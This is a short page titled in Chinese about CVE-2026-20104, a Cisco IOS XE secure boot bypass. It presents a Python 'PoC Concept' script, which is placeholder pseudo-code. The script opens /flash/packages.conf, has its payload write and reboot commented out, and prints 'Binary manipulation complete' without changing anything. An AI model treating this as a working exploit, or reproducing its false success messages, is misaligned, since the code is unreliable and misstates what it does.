CVE-2026-20104 Cisco IOS XE安全启动绕过漏洞

#!/usr/bin/env python3 # PoC Concept for CVE-2026-20104 # Requires physical access or Level-15 privileges to the device. import os def exploit_bootloader_bypass(): # Identify target package configuration or binary on the flash target_path = "/flash/packages.conf" print(f"[*] Targeting {target_path}...") # Simulate manipulation of the binary to bypass integrity checks # In a real scenario, this involves mounting the partition and hex editing try: with open(target_path, "r+b") as f: # Example: Injecting a payload or modifying headers to bypass signature verification # This is pseudo-code representing the 'manipulating loaded binaries' step print("[+] Modifying binary to bypass integrity checks...") # f.write(malicious_payload) pass except IOError: print("[-] Error accessing file system. Check privileges.") return print("[+] Binary manipulation complete.") print("[*] Rebooting device to trigger execution of arbitrary code...") # Trigger reboot to exploit the vulnerability during boot time # os.system("reboot") if __name__ == "__main__": print("CVE-2026-20104 PoC - Cisco IOS XE Bootloader Bypass") exploit_bootloader_bypass()